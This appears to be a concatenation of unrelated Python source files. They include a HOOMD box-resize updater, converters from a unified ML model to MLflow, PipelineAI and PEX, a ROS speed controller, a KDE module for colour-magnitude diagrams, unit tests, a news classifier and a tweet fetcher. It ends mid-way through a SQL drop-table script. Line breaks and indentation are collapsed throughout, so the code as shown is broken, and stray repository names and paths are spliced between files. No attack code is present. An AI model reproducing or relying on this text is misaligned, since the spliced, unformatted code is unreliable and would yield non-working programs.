BoxResize(Updater): """Resizes the box between an initial and final box. When part of a `Simulation` ``updater`` list, this object will resize the box between the initial and final boxes passed. The behavior is a linear interpolation between the initial and final boxes where the minimum of the variant is tagged to `box1` and the maximum is tagged to `box2`. All values between the minimum and maximum result in a box that is the interpolation of the three lengths and tilt factors of the initial and final boxes. Note: The passed `Variant` must be bounded (i.e. it must have a true minimum and maximum) or the behavior of the updater is undefined. Note: Currently for MPI simulations the rescaling of particles does not work properly in HPMC. Args: box1 (hoomd.Box): The box associated with the minimum of the passed variant. box2 (hoomd.Box): The box associated with the maximum of the passed variant. variant (hoomd.variant.Variant): A variant used to interpolate between the two boxes. trigger (hoomd.trigger.Trigger): The trigger to activate this updater. filter (hoomd.filter.ParticleFilter): The subset of particle positions to update. Attributes: box1 (hoomd.Box): The box associated with the minimum of the passed variant. box2 (hoomd.Box): The box associated with the maximum of the passed variant. variant (hoomd.variant.Variant): A variant used to interpolate between the two boxes. trigger (hoomd.trigger.Trigger): The trigger to activate this updater. filter (hoomd.filter.ParticleFilter): The subset of particles to update. """ def __init__(self, box1, box2, variant, trigger, filter=All()): params = ParameterDict( box1=OnlyTypes(Box, preprocess=box_preprocessing), box2=OnlyTypes(Box, preprocess=box_preprocessing), variant=Variant, filter=ParticleFilter) params['box1'] = box1 params['box2'] = box2 params['variant'] = variant params['trigger'] = trigger params['filter'] = filter self._param_dict.update(params) super().__init__(trigger) def _attach(self): group = self._simulation.state._get_group(self.filter) self._cpp_obj = _hoomd.BoxResizeUpdater( self._simulation.state._cpp_sys_def, self.box1, self.box2, self.variant, group ) super()._attach() def get_box(self, timestep): """Get the box for a given timestep. Args: timestep (int): The timestep to use for determining the resized box. Returns: Box: The box used at the given timestep. """ if self._attached: timestep = int(timestep) if timestep < 0: raise ValueError("Timestep must be a non-negative integer.") return Box._from_cpp(self._cpp_obj.get_current_box(timestep)) else: return None @staticmethod def update(state, box, filter=All()): """Immediately scale the particle in the system state to the given box. Args: state (State): System state to scale. box (Box): New box. filter (hoomd.filter.ParticleFilter): The subset of particles to update. """ group = state._get_group(filter) updater = _hoomd.BoxResizeUpdater(state._cpp_sys_def, state.box, box, Constant(1), group) updater.update(state._simulation.timestep) felixridinger/machine-learning-lab import logging import os import shutil import tempfile import zipfile import pandas as pd import six from unified_model import NotSupportedException, UnifiedModel from unified_model.utils import ITEM_COLUMN, SCORE_COLUMN log = logging.getLogger(__name__) UNIFIED_MODEL_REPO_URL = "TODO" class SklearnWrapper: # https://github.com/scikit-learn-contrib/sklearn-pandas # http://docs.seldon.io/prediction-pipeline.html # http://docs.seldon.io/python/modules/seldon/sklearn_estimator.html#SKLearnClassifier # http://docs.seldon.io/python/modules/seldon/pipeline/pandas_pipelines.html # https://keras.io/scikit-learn-api/ # TODO add support for seldon sklearn pandas models? def __init__(self, unified_model): self.unified_model = unified_model self.classes_ = [] def predict(self, X): """ Perform prediction task on X. # Arguments X: ({array-like, sparse matrix}, shape = [n_samples, n_features]) Input vectors, where n_samples is the number of samples and n_features is the number of features. output_file_path (string): Path to save the model. # Returns y : array, shape = [n_samples] or [n_samples, n_outputs] Predicted target values for X. """ result = [] for prediction in self.unified_model.predict_batch(X): if isinstance(prediction, pd.DataFrame) \ and ITEM_COLUMN in prediction.columns: if prediction.shape[0] == 0: result.append(None) else: # only return the best item result.append(prediction[ITEM_COLUMN][0]) else: result.append(prediction) return result def predict_proba(self, X): """ Return probability estimates for the tests vectors X. # Arguments X: {array-like, sparse matrix}, shape = [n_samples, n_features] Input vectors, where n_samples is the number of samples and n_features is the number of features. # Returns P : array-like or list of array-lke of shape = [n_samples, n_classes] Returns the probability of the sample for each class in the model, where classes are ordered arithmetically, for each output. """ result = [] # get all for prediction in self.unified_model.predict_batch(X, limit=None): if isinstance(prediction, pd.DataFrame) \ and ITEM_COLUMN in prediction.columns \ and SCORE_COLUMN in prediction.columns: if prediction.shape[0] == 0: result.append(None) result.append(prediction[SCORE_COLUMN].tolist()) self.classes_ = prediction[ITEM_COLUMN].tolist() else: result.append(prediction) return result def score(self, X, y, **kwargs): # return self.unified_model.evaluate() # TODO implement scoring raise NotSupportedException("Model is not supported for this method") def get_params(self, deep=True): return self.unified_model.info() def set_params(self, **params): raise NotSupportedException("Not supported for Unified Models") def fit(self, X, y, sample_weight=None): raise NotSupportedException("Training is not supported for Unified Models") class PickleWrapper: def __init__(self, unified_model): self.unified_model = unified_model def save(self, output_path): import cloudpickle with open(output_path, 'wb') as file: cloudpickle.dump(PickleWrapper(self.unified_model), file) log.info("Successfully saved model as pickle.") return output_path def __getstate__(self): temp_file = tempfile.NamedTemporaryFile() self.unified_model.save(temp_file.name) with open(temp_file.name, mode='rb') as model_file: self.virtual_model_file = model_file.read() del self.unified_model temp_file.close() return self.__dict__ def __setstate__(self, d): self.__dict__ = d temp_file = tempfile.NamedTemporaryFile() temp_file.write(self.virtual_model_file) temp_file.flush() os.fsync(temp_file.fileno()) self.unified_model = UnifiedModel.load(temp_file.name) del self.virtual_model_file temp_file.close() def model(self): return self.unified_model def convert_to_mlflow(unified_model, output_path: str) -> str: """ Convert the given unified model into a mlflow model. # Arguments unified_model (UnifiedModel or str): Unified model instance or path to model file output_path (string): Path to save the model. # Returns Full path to the converted model """ # https://mlflow.org/docs/latest/models.html log.info("Start conversion to MLFlow") if isinstance(unified_model, UnifiedModel): pass elif os.path.exists(str(unified_model)): # load model instance unified_model = UnifiedModel.load(str(unified_model)) else: raise Exception("Could not find model for: " + str(unified_model)) if os.path.isdir(output_path) and len(os.listdir(output_path)) > 0: log.warning("Aborting conversion. Output directory is not empty: " + output_path) return output_path else: os.makedirs(output_path) model_temp_folder = tempfile.mkdtemp() # Save model to temp model_zip_path = unified_model.save(os.path.join(model_temp_folder, str(unified_model))) # extract to output path unified_model_zip = zipfile.ZipFile(model_zip_path, 'r') unified_model_zip.extractall(output_path) unified_model_zip.close() # unified_model_data: UNIFIED_MODEL_FOLDER = "unified_model" unified_model_folder_path = os.path.join(output_path, UNIFIED_MODEL_FOLDER) if not os.path.isdir(unified_model_folder_path): os.makedirs(unified_model_folder_path) for f in os.listdir(output_path): if f != UnifiedModel._CODE_BASE_DIR: shutil.move(os.path.join(output_path, f), unified_model_folder_path) # create necessary files CONDA_ENV = "conda.yml" LOADER_MODULE = "unified_model_loader" with open(os.path.join(output_path, "MLmodel"), "w") as text_file: text_file.write("flavors:" "\n python_function:" "\n code: " + UnifiedModel._CODE_BASE_DIR + "\n data: " + UNIFIED_MODEL_FOLDER + "\n env: " + CONDA_ENV + "\n loader_module: " + LOADER_MODULE) requirement_string = "" # req_file_path = os.path.join(output_path, UnifiedModel._REQUIREMENTS_FILENAME) # if os.path.isfile(req_file_path): # with open(req_file_path, encoding='utf-8') as f: # for line in f.readlines(): # requirement_string += "\n\t- " + str(line.rstrip()) for requirement in unified_model._requirements: if isinstance(requirement, six.string_types): requirement_string += "\n - " + str(requirement) with open(os.path.join(output_path, CONDA_ENV), "w") as text_file: text_file.write("name: " + str(unified_model).lower().replace(" ", "_") + "\nchannels:\n- conda-forge\n- defaults" + "\ndependencies: " + "\n- python>=3.6 " + "\n- pip:\n - git+" + UNIFIED_MODEL_REPO_URL + requirement_string) code_folder = os.path.join(output_path, UnifiedModel._CODE_BASE_DIR) if not os.path.isdir(code_folder): os.makedirs(code_folder) # TODO adapt script with open(os.path.join(code_folder, LOADER_MODULE + ".py"), "w") as text_file: text_file.write("from unified_model import UnifiedModel\n\n" + "def load_pyfunc(path):\n\treturn UnifiedModel.load(path, install_requirements=False)\n") shutil.rmtree(model_temp_folder) log.info("Conversion to MLFlow successful: " + output_path) return output_path def convert_to_pipelineai(unified_model, output_path: str) -> str: """ Convert the given unified model into a pipelineai model. # Arguments unified_model (UnifiedModel or str): Unified model instance or path to model file output_path (string): Path to save the model. # Returns Full path to the converted model """ # https://github.com/PipelineAI/pipeline/tree/master/docs/quickstart/docker # https://github.com/PipelineAI/models/tree/master/scikit/mnist/model log.info("Start conversion to PipelineAI") if isinstance(unified_model, UnifiedModel): pass elif os.path.exists(str(unified_model)): # load model instance unified_model = UnifiedModel.load(str(unified_model)) else: raise Exception("Could not find model for: " + str(unified_model)) if os.path.isdir(output_path) and len(os.listdir(output_path)) > 0: log.warning("Aborting conversion. Output directory is not empty: " + output_path) return output_path else: os.makedirs(output_path) # Save model into folder unified_model_filename = str(unified_model) unified_model.save(os.path.join(output_path, unified_model_filename)) # Required, but Empty is OK. with open(os.path.join(output_path, "pipeline_condarc"), "w") as text_file: text_file.write("") # Required, but Empty is OK. with open(os.path.join(output_path, "pipeline_modelserver.properties"), "w") as text_file: text_file.write("") # Required, but Empty is OK. setup_script = "" if unified_model._setup_script: setup_script = unified_model._setup_script with open(os.path.join(output_path, "pipeline_setup.sh"), "w") as text_file: text_file.write(setup_script) requirement_string = "" for requirement in unified_model._requirements: if isinstance(requirement, six.string_types): requirement_string += "\n - " + str(requirement) with open(os.path.join(output_path, "pipeline_conda_environment.yaml"), "w") as text_file: text_file.write("name: " + str(unified_model).lower().replace(" ", "_") + "\nchannels:\n- conda-forge\n- defaults" + "\ndependencies: " + "\n- python>=3.6 " + "\n- pip:\n - git+" + UNIFIED_MODEL_REPO_URL + requirement_string) with open(os.path.join(output_path, "pipeline_invoke_python.py"), "w") as text_file: text_file.write("import os" + "\nfrom unified_model import UnifiedModel" + "\n\n_model = UnifiedModel.load(os.path.join(os.path.dirname(os.path.abspath(__file__)), '" + unified_model_filename + "'))" + "\n\ndef invoke(request):\n\treturn _model.predict(request)") log.info("Conversion to PipelineAI successful: " + output_path) return output_path def convert_to_pex(unified_model, output_file_path: str) -> str: """ Convert the given unified model into an executable PEX file. # Arguments unified_model (UnifiedModel or str): Unified model instance or path to model file output_file_path (string): Path to save the model. # Returns Full path to the converted model """ # https://gist.github.com/simeonf/062af826e79259bc7686 log.info("Start conversion to PEX") if isinstance(unified_model, UnifiedModel): pass elif os.path.exists(str(unified_model)): # load model instance unified_model = UnifiedModel.load(str(unified_model)) else: raise Exception("Could not find model for: " + str(unified_model)) from git import Repo from pex.bin import pex model_temp_folder = tempfile.mkdtemp() model_instance_name = "model_instance" model_instance_folder = os.path.join(model_temp_folder, model_instance_name) os.makedirs(model_instance_folder) with open(os.path.join(model_instance_folder, "setup.py"), "w") as text_file: text_file.write("from distutils.core import setup " + "\nsetup(name='" + model_instance_name + "'," + "\n\tpackages=['" + model_instance_name + "']," + "\n\tversion='1.0'," + "\n\tpackage_data={'" + model_instance_name + "': ['" + model_instance_name + "']})") model_instance_package = os.path.join(model_instance_folder, model_instance_name) os.makedirs(model_instance_package) with open(os.path.join(model_instance_package, "__init__.py"), "w") as text_file: text_file.write("import os, pkg_resources" + "\nfrom unified_model import cli_handler" + "\nos.environ[cli_handler.DEFAULT_MODEL_PATH_ENV] = pkg_resources.resource_filename(__name__, '" + model_instance_name + "')" + "\ncli_handler.cli()") with open(os.path.join(model_instance_package, "__main__.py"), "w") as text_file: text_file.write("") unified_model.save(os.path.join(model_instance_package, model_instance_name)) lib_repo_folder = os.path.join(model_temp_folder, "unified-model") Repo.clone_from(UNIFIED_MODEL_REPO_URL, lib_repo_folder) parser, resolver_options_builder = pex.configure_clp() args = [lib_repo_folder, model_instance_folder, "--disable-cache"] for req in unified_model._requirements: if isinstance(req, six.string_types): args.append(req) options, reqs = parser.parse_args(args=args) pex_builder = pex.build_pex(reqs, options, resolver_options_builder) pex_builder.set_entry_point(model_instance_name) pex_builder.build(output_file_path) shutil.rmtree(model_temp_folder) log.info("Conversion to PEX successful: " + output_file_path) return output_file_path slides/20160516-Python_Loop_CommonFunctions/for_loop_3.py names_scores = (('Amy',82,90),('John',33,64),('Zoe',91,94)) for x,y,z in names_scores: print(x) print(y,z) print('End')# Run a test server. from app import app from dbsetup import itsDBtime import argparse print "hello friends" parser = argparse.ArgumentParser(description='Run the Flask todo app') parser.add_argument('--setup', dest='run_setup', action='store_true') parser.add_argument('--kermpany', dest='not_a_test', action='store_true') args = parser.parse_args() if args.run_setup: itsDBtime() print "db weebee" elif args.not_a_test: app.config.from_object('configgypuddin') print "not a test" else: app.config.from_object('configgypuddin-example') print "configgy puddin" app.run(host=app.config['HOST'], port=app.config['PORT'])api/file/permissions.py1-10 from rest_framework import permissions class FilePermission(permissions.BasePermission): def has_object_permission(self, request, view, obj): """ Return `True` if file is related to user, `False` otherwise. """ return obj.space.owner_id == request.user.id #! /usr/bin/env python import rospy from nav_msgs.msg import Odometry # the "nav_msgs.msg" should be changed laut the command: $rosmsg show Odometry from tf.transformations import euler_from_quaternion from geometry_msgs.msg import Point, Twist from math import atan2 x = 0.0 y = 0.0 theta = 0.0 def newOdom(msg): global x global y global theta x = msg.pose.pose.position.x # the "pose.pose" should be changed laut the command: $rosmsg show Odometry y = msg.pose.pose.position.y # the "pose.pose" should be changed laut the command: $rosmsg show Odometry rot_q = msg.pose.pose.orientation # the "pose.pose" should be changed laut the command: $rosmsg show Odometry (roll, pitch, theta) = euler_from_quaternion([rot_q.x, rot_q.y, rot_q.z, rot_q.w]) rospy.init_node("speed_controller") sub = rospy.Subscriber("/odom", Odometry, newOdom) # the "/odom_enc" should be changed laut the command: $rostopic list pub = rospy.Publisher("/cmd_vel", Twist, queue_size = 1) speed = Twist() r = rospy.Rate(4) goal = Point() # the "Point" should be changed laut the command: $rosmsg show Odometry goal.x = -1 goal.y = -5 while not rospy.is_shutdown(): inc_x = goal.x -x inc_y = goal.y -y angle_to_goal = atan2(inc_y, inc_x) if abs(angle_to_goal - theta) > 0.1: speed.linear.x = 0.0 speed.angular.z = 0.3 else: speed.linear.x = 0.5 speed.angular.z = 0.0 pub.publish(speed) r.sleep() MichoelSnow/BGG import pandas as pd import os def append_ratings(fl_path: str, orig_data: str, new_data: str): df_rank = pd.read_csv(os.path.join(fl_path, 'curated', orig_data)) df_tmp = pd.read_csv(os.path.join(fl_path, new_data), usecols=['name', 'BoardGameRank']) df_tmp = df_tmp.rename(columns={'name': new_data[:10]}) df_rank = df_rank.merge(right=df_tmp, how='left', on='BoardGameRank') df_rank.to_csv(os.path.join(fl_path, f'weekly_rankings_{new_data[:10]}.csv'), index=False) df_rank.to_csv(os.path.join(fl_path, 'curated', orig_data), index=False) def newest_crawled(fl_path: str): fl_list = [x for x in os.listdir(fl_path) if x.endswith('.csv') and x.find('bgg_top') > 0] return fl_list[0] if __name__ == '__main__': data_fl_path = '/home/msnow/git/bgg/data/kaggle/' rank_data = 'weekly_rankings.csv' new_week_data = newest_crawled(data_fl_path) append_ratings(data_fl_path, rank_data, new_week_data) """ Created on 2020 @author: """ ############################################################################### # # November 2020, Paris # # This file contains the main functions concerning the color magnitude # diagram (CMD). # It provides a Kernel Density Estimation (KDE) of the CMD distribution. # # Documentation is provided on Vitral, 2021. # If you have any further questions please email # ############################################################################### from scipy.stats import gaussian_kde from shapely.geometry import Point from shapely.geometry.polygon import Polygon import numpy as np # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% # ------------------------------------------------------------------------------ "KDE approach" # ------------------------------------------------------------------------------ def kde(x, y, ww=None, bw="silverman", confidence=None): """ This function computes the KDE estimative of the PDF of the color magnitude diagram (CMD). Parameters ---------- x : array_like Color from the CMD. y : array_like Magnitude. ww : array_like, optional Weight passed to the KDE estimation. The default is None. bw : string or float, optional Argument "bw_method" from the "gaussian_kde" method from scipy.stats. The default is 'silverman'. confidence : float, optional Confidence level (in percent) of arrays x and y to be considered. Default is None. Returns ------- Z : array of size [2, Nsamples] KDE estimative of the PDF. """ if ww is None: ww = np.ones(len(x)) if confidence is not None: conf = confidence / 100 qx_i, qx_f = quantile(x, [conf, 1 - conf]) qy_i, qy_f = quantile(y, [conf, 1 - conf]) else: qx_i, qx_f = np.nanmin(x), np.nanmax(x) qy_i, qy_f = np.nanmin(y), np.nanmax(y) ranges = [[qx_i, qx_f], [qy_i, qy_f]] # fit an array of size [Ndim, Nsamples] data = np.vstack([x, y]) kernel = gaussian_kde(data, bw_method=bw, weights=ww) q_16, q_50, q_84 = quantile(x, [0.16, 0.5, 0.84]) q_m, q_p = q_50 - q_16, q_84 - q_50 nbins_x = int(10 * (np.amax(x) - np.amin(x)) / (min(q_m, q_p))) q_16, q_50, q_84 = quantile(y, [0.16, 0.5, 0.84]) q_m, q_p = q_50 - q_16, q_84 - q_50 nbins_y = int(10 * (np.amax(y) - np.amin(y)) / (min(q_m, q_p))) # evaluate on a regular grid xgrid = np.linspace(ranges[0][0], ranges[0][1], nbins_x) ygrid = np.linspace(ranges[1][0], ranges[1][1], nbins_y) Xgrid, Ygrid = np.meshgrid(xgrid, ygrid) Zhist = kernel.evaluate(np.vstack([Xgrid.ravel(), Ygrid.ravel()])) Z = Zhist.reshape(Xgrid.shape) return Z def bw_silver(x, y): """ Returns the Silverman bandwidth factor. Parameters ---------- x : array_like Color from the CMD. y : array_like Magnitude. Returns ------- bw : float Silverman's bandwidth factor. """ d = 2 n = len(x) bw = (n * (d + 2) / 4) ** (-1 / (d + 4)) return bw # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% # --------------------------------------------------------------------------- "General functions" # --------------------------------------------------------------------------- def quantile(x, q): """ Compute sample quantiles. Parameters ---------- x : array_like Array containing set of values. q : array_like, float Quantile values to be derived (must be between 0 and 1). Raises ------ ValueError Quantiles must be between 0 and 1. Returns ------- percentile: array_like (same shape as q), float Percentile value(s). """ x = np.atleast_1d(x) q = np.atleast_1d(q) if np.any(q < 0.0) or np.any(q > 1.0): raise ValueError("Quantiles must be between 0 and 1") return np.percentile(x, 100.0 * q) def inside_contour(x, y, contours, idx=None, idx_level=0): """ Returns indexes from a subset of previous indexes corresponding to the points in (x,y) inside a given contour. Parameters ---------- x : array_like Data in x-direction. y : array_like Data in y-direction. contours : QuadContourSet Contour object from pyplot. idx : array of integers, optional Array containing the indexes in (x,y) from which to search points inside a given contour. The default is None. idx_level : int, optional Which contour lines to consider from contour object. The default is 0 (wider contour). Returns ------- idx_inside : array of integers Array of indexes inside the contour. """ lcontours = list() inside = list() p = contours.collections[0].get_paths() npoly = len(p) for i in range(0, npoly): v = p[i].vertices contourx = v[:, 0] contoury = v[:, 1] contour_array = np.array([contourx, contoury]) lcontours.append(contour_array) inside.append( Polygon([(contourx[i], contoury[i]) for i in range(0, len(contourx))]) ) idx_inside = list() for i in idx: for j in range(0, npoly): if inside[j].contains(Point(x[i], y[i])): idx_inside.append(i) idx_inside = np.asarray(idx_inside).astype(int) return idx_inside from motor import Motor from wifi import WifiInterface wifi_interface = None def init(): # set up the wifi interface global wifi_interface wifi_interface = WifiInterface(115200, "CLIENT", '192.168.2.1', 8888) wifi_interface.init_interface() # set up the motors global motor_fr motor_fr = Motor(17) motor_fr.setup() global motor_fl motor_fl = Motor(18) motor_fl.setup() global motor_br motor_br = Motor(19) motor_br.setup() global motor_bl motor_bl = Motor(20) motor_bl.setup() def loop(): global wifi_interface while(True): # read cmd wifi_cmd = wifi_interface.get_cmd() # set cmd to motors if(wifi_cmd == 'up'): motor_fr.inc_speed() motor_fl.inc_speed() motor_br.inc_speed() motor_bl.inc_speed() elif (wifi_cmd == 'down'): motor_fr.dec_speed() motor_fl.dec_speed() motor_br.dec_speed() motor_bl.dec_speed() elif (wifi_cmd == 'config_esc'): motor_fr.set_speed(0) motor_fl.set_speed(0) motor_br.set_speed(0) motor_bl.set_speed(0) elif (wifi_cmd == 'stop'): motor_fr.set_speed(0) motor_fl.set_speed(0) motor_br.set_speed(0) motor_bl.set_speed(0) init() loop() # class Picopter: # def __init__: # def __main__: # # set up the motors # motor_fr = Motor() # motor_fl = Motor() # motor_br = Motor() # motor_bl = Motor() from cliff.lister import Lister from factioncli.processing.config import get_passwords class Credentials(Lister): "Returns a list of the default credentials for this instance of Faction" def take_action(self, parsed_args): passwords = get_passwords() return ("Type", "Username", "Password"), passwords import mock import unittest import uuid from vnc_api import vnc_api from svc_monitor.vrouter_instance_manager import VRouterInstanceManager class DBObjMatcher(object): """ Object for assert_called_with to check if db object is created properly """ def __init__(self, prefix): self.prefix = prefix def _has_field(self, name, ob): return (self.prefix + name) in ob def __eq__(self, other): if not(self._has_field("name", other) and self._has_field("uuid", other) and self._has_field("state", other) and self._has_field("vrouter", other)): return False if other[self.prefix + "vrouter"] == "None": return False return True class VRouterInstanceManagerTest(unittest.TestCase): VM_UUID = str(uuid.uuid4()) VR_UUID = str(uuid.uuid4()) DB_PREFIX = "test" MOCKED_VR_BACK_REF = [{ "uuid": VR_UUID }] def setUp(self): mocked_vnc = mock.MagicMock() mocked_vm_ob = mock.MagicMock() mocked_vm_ob.get_virtual_router_back_refs\ .return_value = self.MOCKED_VR_BACK_REF mocked_vm_ob.uuid = self.VM_UUID mocked_vnc.virtual_machine_read.return_value = mocked_vm_ob self.mocked_vm_ob = mocked_vm_ob mocked_db = mock.MagicMock() mocked_db.get_vm_db_prefix.return_value = self.DB_PREFIX self.vrouter_manager = VRouterInstanceManager( db=mocked_db, logger=mock.MagicMock(), vnc_lib=mocked_vnc, vrouter_scheduler=mock.MagicMock()) def test_create(self): st_obj = vnc_api.ServiceTemplate(name="test-template") svc_properties = vnc_api.ServiceTemplateType() svc_properties.set_service_virtualization_type('vrouter-instance') svc_properties.set_image_name('test') svc_properties.set_ordered_interfaces(True) if_list = [['management', False], ['left', False], ['right', False]] for itf in if_list: if_type = vnc_api.ServiceTemplateInterfaceType(shared_ip=itf[1]) if_type.set_service_interface_type(itf[0]) svc_properties.add_interface_type(if_type) svc_properties.set_vrouter_instance_type("docker") st_obj.set_service_template_properties(svc_properties) si_obj = vnc_api.ServiceInstance("test2") si_prop = vnc_api.ServiceInstanceType( left_virtual_network="left", right_virtual_network="right", management_virtual_network="management") si_prop.set_interface_list( [vnc_api.ServiceInstanceInterfaceType(virtual_network="left"), vnc_api.ServiceInstanceInterfaceType(virtual_network="right"), vnc_api.ServiceInstanceInterfaceType( virtual_network="management")]) si_prop.set_virtual_router_id(uuid.uuid4()) si_obj.set_service_instance_properties(si_prop) si_obj.set_service_template(st_obj) si_obj.uuid = str(uuid.uuid4()) st_obj.uuid = str(uuid.uuid4()) self.vrouter_manager.create_service(st_obj, si_obj) self.vrouter_manager.db.service_instance_insert.assert_called_with( si_obj.get_fq_name_str(), DBObjMatcher(self.DB_PREFIX) ) def test_delete(self): mocked_vr = mock.MagicMock() mocked_vr.uuid = self.VR_UUID self.vrouter_manager._vnc_lib.virtual_router_read.\ return_value = mocked_vr self.vrouter_manager.delete_service(self.VM_UUID) self.vrouter_manager._vnc_lib.virtual_machine_delete\ .assert_called_with(id=self.VM_UUID) mocked_vr.del_virtual_machine.assert_called_with( self.mocked_vm_ob)from django.db import models from django_base.models import BaseModel class ExampleModel(BaseModel): pass #-----------------------------------IMPORTS--------------------------------------------------------------------------- import re import os import time import webbrowser import getpass import pkg_resources from sklearn.feature_extraction.text import CountVectorizer from sklearn.linear_model import LogisticRegression from sklearn.metrics import accuracy_score from sklearn.model_selection import train_test_split import pickle # ----------------------------İNDEX PAGE START--------------------------------------------------------------------------- a = os.getcwd().replace("\\", "/") webbrowser.open_new_tab(a + '/WebPages/index.html') while(1): # ----------------------------CHECK TEST FİLE EXİST?--------------------------------------------------------------------- while (1): try: time.sleep(0.25) time.sleep(1) if (open('C:/Users/user/Desktop/test.txt', 'r') != ""): print("readed") break except FileNotFoundError: print("waiting") continue # -------------------------LOAD TRAINED DATA----------------------------------------------------------------------------- Train_folder_names = ["Sport","Political","Technology","Entertainment","Financial","Travel","World"] # "HoleBusinessNews","HoleEntertainmentNews","HolePoliticsNews","HoleSportNews","HoleTechNews" # "Sport","Political","Technology","Entertainment","Financial","Travel","World" # "toxic","threat","insult","identity_hate","obscene","neutral","severe_toxic" test = [] Test_labels = [] final_model = [] for i in range(len(Train_folder_names)): # create final models list final_model.append([]) # load trained data and append to list for i in range(len(Train_folder_names)): final_model[i] = LogisticRegression() final_model[i] = pickle.load(open('trained sets/' + Train_folder_names[i].__str__() + '.trained', 'rb')) # load test data temp = "" Test_labels.append(test.__len__()) for line in open('C:/Users/user/Desktop/test.txt', encoding='ISO-8859-1'): temp = temp + line.strip().replace("\n", " ") test.append(temp) print(test) Test_labels.append(test.__len__()) # ----------------------------------------CLEANING--------------------------------------------------------------------- REPLACE_NO_SPACE = re.compile("(\.)|(\;)|(\:)|(\!)|(\')|(\?)|(\,)|(\")|(\()|(\))|(\[)|(\])") REPLACE_WITH_SPACE = re.compile("()|(\-)|(\/)") def preprocess(value): value = [REPLACE_NO_SPACE.sub("", line.lower()) for line in value] value = [REPLACE_WITH_SPACE.sub(" ", line) for line in value] return value test_clean = preprocess(test) # -------------------------------------VECTORIZAION-------------------------------------------------------------------- cv = CountVectorizer(binary=True) cv = pickle.load(open('trained sets/' + 'cv.kahve', 'rb')) X_test = cv.transform(test) # ------------------------------------------------------PREDİCTİON---------------------------------------------------- All_answers = [] for i in range(len(Train_folder_names)): # create answers list All_answers.append([]) Total_test_length = int(Test_labels[len(Test_labels) - 1]) # find length of the text folder # calsulate predictions and append them to answers for i in range(len(Train_folder_names)): for j in range(Total_test_length): All_answers[i].append(float("{:.5f}".format(float(final_model[i].predict_proba(X_test[j])[:, 1])))) # All_answers[i].append(float(final_model.predict(X_test[j]))) # ----------------------------------------print learning info---------------------------------------------------------- print("") print("PREDICTED PERCENTAGES ARE") for i in range(len(All_answers)): print(All_answers[i]) print("") # --------------------------------------------------------------------------------------------------------------------- # ---------------------------------------FİNAL RESULTS----------------------------------------------------------------- Final_results = [] for i in range(Total_test_length): biggest = 0.0 count = -1 for j in range(len(Train_folder_names)): if (float(All_answers[j][i]) > biggest): biggest = float(All_answers[j][i]) count = j if (biggest < 0.0): # bilmiyosa bilmiyorum desin Final_results.append("idk") else: Final_results.append(Train_folder_names[count]) # ----------------------------------------print result----------------------------------------------------------------- print("") print("FINAL ANSWER IS") print(Final_results) print("") # --------------------------------------------------------------------------------------------------------------------- # ----------------------------------------DELETE FILE-------------------------------------------------------------------- if (open('C:/Users/user/Desktop/test.txt', 'r') != ""): os.remove('C:/Users/user/Desktop/test.txt') # ------------------------------------LOAD ININDEXSTOP TO ININDEX-------------------------------------------------------- r = open('WebPages/inindexStop.html', encoding='ISO-8859-1') message = r.readlines() r.close() metin = "" for i in message: metin += i t = open('WebPages/inindex.html', 'w') whole = metin % (str((All_answers[0][0]) * 100) + "%", str(round((All_answers[0][0]) * 100)) + "%", str((All_answers[1][0]) * 100) + "%", str(round((All_answers[1][0]) * 100)) + "%", str((All_answers[2][0]) * 100) + "%", str(round((All_answers[2][0]) * 100)) + "%", str((All_answers[3][0]) * 100) + "%", str(round((All_answers[3][0]) * 100)) + "%", str((All_answers[4][0]) * 100) + "%", str(round((All_answers[4][0]) * 100)) + "%", str((All_answers[5][0]) * 100) + "%", str(round((All_answers[5][0]) * 100)) + "%", str((All_answers[6][0]) * 100) + "%", str(round((All_answers[6][0]) * 100)) + "%") t.write(whole) t.close() Day-048/01-datetime.py1-10 #!/usr/bin/env python3 import datetime today = datetime.date.today() print("Day : {}".format(today.day)) print("Month: {}".format(today.month)) print("Year : {}".format(today.year)) mike10004/smatterscripts from typing import Collection def remove_suffix(s: str, suffix: str, other_suffixes: Collection[str]=None): all_suffixes = [suffix] if other_suffixes: all_suffixes += other_suffixes all_suffixes.sort(key=len, reverse=True) for suffix_ in filter(lambda x: len(x) > 0, all_suffixes): if s.endswith(suffix_): return s[:-len(suffix_)] return s #!/usr/bin/env python def unique(n,d,orig_right): right=orig_right carry = 0 s = 0 place = 1 for i in xrange(n-1): if place<10**5: s += right*place if place<10**5: place *= 10 next_digit = d*right+carry right = next_digit%10 carry = next_digit//10 left = right*d + carry return (right!=0 and left == orig_right)*((right*place if place<10**5 else 0) + s) ans=0 for n in xrange(2,101): for d in xrange(1,10): for right in xrange(1,10): ans = (ans+unique(n,d,right))%10**5 print ans # -*- encoding:utf-8 -*- # # getflow.py # tweetgetter # # Copyright (c) 2018 . All rights reserved. # from tweetgetter import config from tweetgetter import entries from tweetgetter.savecsv import save_as_csv as sac from requests_oauthlib import OAuth1Session import csv import json import sys, codecs import pandas as pd import numpy as np import re class TweetGetFlow(): def __init__(self): self._twitter = OAuth1Session( config.consumer_key, config.consumer_key_secret, config.access_token, config.access_token_secret ) self._url = "https://api.twitter.com/1.1/search/tweets.json?" def get_tweet(self, search, count): params = { "q": str(search), "lang": "ja", "result_type": "recent", "count": count } req = self._twitter.get(self._url, params = params) tweets = json.loads(req.text) save_list = [] for tweet in tweets["statuses"]: tmp_list = [ tweet["user"]["screen_name"], tweet["user"]["name"], self._format_text(tweet["text"]) ] # Log text print("----------------------------------------------------------------------------------------------------") print(tweet["text"]) save_list.append(tmp_list) df = pd.DataFrame( save_list, columns = ["id", "name", "text"], ) df.to_csv("./tweets/" + str(np.random.rand()) + "tweets.csv", encoding="utf-8") def _log_tweets(self, data): csv_list = [] for tweet in data: print("----------------------------------------------------------------------------------------------------") print(tweet["text"]) type(tweet["text"]) errr = json.load(tweet) print(errr) def _format_text(self, text): text=re.sub(r'https?://[\w/:%#\$&\?\(\)~\.=\+\-…]+', "", text) # Remove URL text=re.sub('RT', "", text) # Remove RT text=re.sub('お気に入り', "", text) # Remove favo text=re.sub('まとめ', "", text) # Remove matome site text=re.sub(r'[!-~]', "", text) #半角記号,数字,英字 text=re.sub(r'[︰-＠]', "", text) #全角記号 text=re.sub('\n', " ", text) #改行文字 return text 0 # DROP TABLES songplay_table_drop = "DROP TABLE IF EXISTS songplays;" user_table_drop = "DROP 